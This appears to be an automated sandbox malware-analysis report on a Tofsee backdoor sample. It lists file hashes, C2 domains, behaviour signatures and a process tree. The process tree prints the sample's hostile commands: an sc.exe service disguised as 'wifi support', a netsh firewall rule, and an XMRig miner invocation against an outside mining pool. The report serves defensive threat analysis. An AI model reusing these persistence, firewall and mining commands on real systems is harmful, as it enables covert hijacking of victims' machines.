Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-03-2023 01:01

General

  • Target

    1062c7e1e883e164b85d224cefa62450e507f056fcf8924f133ca9b65abae360.exe

  • Size

    270KB

  • MD5

    066793cde98c8983ec676ab7e848dd4e

  • SHA1

    1d35175f44ae52a6238dc9ddd3acc6f6af8f5639

  • SHA256

    1062c7e1e883e164b85d224cefa62450e507f056fcf8924f133ca9b65abae360

  • SHA512

    139c0fa8ae09817403e2c0d422d52170b8234f899316e10e60c6ebd7de0c3ea099727a8b6ed8e0389b9d2e3cad87b8e7f129091e9840e3120b9aac77f965c21d

  • SSDEEP

    3072:+3BLbpwA+dFGTOxXqS+jK+N1nfBFDR24YYi0Fak7mxqZkO5njIrqokdkun78F:wwnYTOxXV+jFM4c0V7m4d2qokd

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1062c7e1e883e164b85d224cefa62450e507f056fcf8924f133ca9b65abae360.exe
    "C:\Users\Admin\AppData\Local\Temp\1062c7e1e883e164b85d224cefa62450e507f056fcf8924f133ca9b65abae360.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4504
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zyysvovq\
      2⤵
        PID:1380
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kejhcfce.exe" C:\Windows\SysWOW64\zyysvovq\
        2⤵
          PID:4936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zyysvovq binPath= "C:\Windows\SysWOW64\zyysvovq\kejhcfce.exe /d\"C:\Users\Admin\AppData\Local\Temp\1062c7e1e883e164b85d224cefa62450e507f056fcf8924f133ca9b65abae360.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zyysvovq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4640
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zyysvovq
          2⤵
          • Launches sc.exe
          PID:2224
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4264
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 1044
          2⤵
          • Program crash
          PID:3976
      • C:\Windows\SysWOW64\zyysvovq\kejhcfce.exe
        C:\Windows\SysWOW64\zyysvovq\kejhcfce.exe /d"C:\Users\Admin\AppData\Local\Temp\1062c7e1e883e164b85d224cefa62450e507f056fcf8924f133ca9b65abae360.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3936
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:968
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2616
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3936 -s 516
          2⤵
          • Program crash
          PID:2712
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4504 -ip 4504
        1⤵
          PID:3064
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3936 -ip 3936
          1⤵
            PID:4868

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\kejhcfce.exe

            Filesize

            14.0MB

            MD5

            f8f24464d9530ef899d8a26715734523

            SHA1

            659fa1f1394ed58ed1551dead236ae03a65310a7

            SHA256

            292e58dfca8e3552a20cc2a83b22cac26ae74e213b585b6247a873ee1689e4d6

            SHA512

            18ce23039f7a2b1d235563d4a118479f8c0db1dbd9c02d525f83626b3b0010e87789631c5ab3d6db95d7994c456d03bc96469850a2c8ac997beb550088e2f0ba

          • C:\Windows\SysWOW64\zyysvovq\kejhcfce.exe

            Filesize

            14.0MB

            MD5

            f8f24464d9530ef899d8a26715734523

            SHA1

            659fa1f1394ed58ed1551dead236ae03a65310a7

            SHA256

            292e58dfca8e3552a20cc2a83b22cac26ae74e213b585b6247a873ee1689e4d6

            SHA512

            18ce23039f7a2b1d235563d4a118479f8c0db1dbd9c02d525f83626b3b0010e87789631c5ab3d6db95d7994c456d03bc96469850a2c8ac997beb550088e2f0ba

          • memory/968-167-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-148-0x0000000000ED0000-0x0000000000EE5000-memory.dmp

            Filesize

            84KB

          • memory/968-170-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-143-0x0000000000ED0000-0x0000000000EE5000-memory.dmp

            Filesize

            84KB

          • memory/968-145-0x0000000000ED0000-0x0000000000EE5000-memory.dmp

            Filesize

            84KB

          • memory/968-184-0x00000000031F0000-0x00000000031F7000-memory.dmp

            Filesize

            28KB

          • memory/968-146-0x0000000000ED0000-0x0000000000EE5000-memory.dmp

            Filesize

            84KB

          • memory/968-169-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-149-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/968-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/968-153-0x00000000023F0000-0x00000000023F6000-memory.dmp

            Filesize

            24KB

          • memory/968-156-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-183-0x0000000007C40000-0x000000000804B000-memory.dmp

            Filesize

            4.0MB

          • memory/968-161-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-162-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-159-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-164-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-163-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-165-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-166-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-160-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-180-0x0000000007C40000-0x000000000804B000-memory.dmp

            Filesize

            4.0MB

          • memory/968-140-0x0000000000ED0000-0x0000000000EE5000-memory.dmp

            Filesize

            84KB

          • memory/968-168-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-171-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-172-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-173-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-174-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-176-0x00000000031E0000-0x00000000031E5000-memory.dmp

            Filesize

            20KB

          • memory/968-175-0x0000000002F50000-0x0000000002F60000-memory.dmp

            Filesize

            64KB

          • memory/968-179-0x00000000031E0000-0x00000000031E5000-memory.dmp

            Filesize

            20KB

          • memory/2616-188-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2616-193-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2616-194-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2616-196-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2616-197-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2616-198-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2616-199-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2616-195-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/3936-144-0x0000000000400000-0x0000000002B71000-memory.dmp

            Filesize

            39.4MB

          • memory/4504-138-0x0000000000400000-0x0000000002B71000-memory.dmp

            Filesize

            39.4MB

          • memory/4504-135-0x0000000002C40000-0x0000000002C53000-memory.dmp

            Filesize

            76KB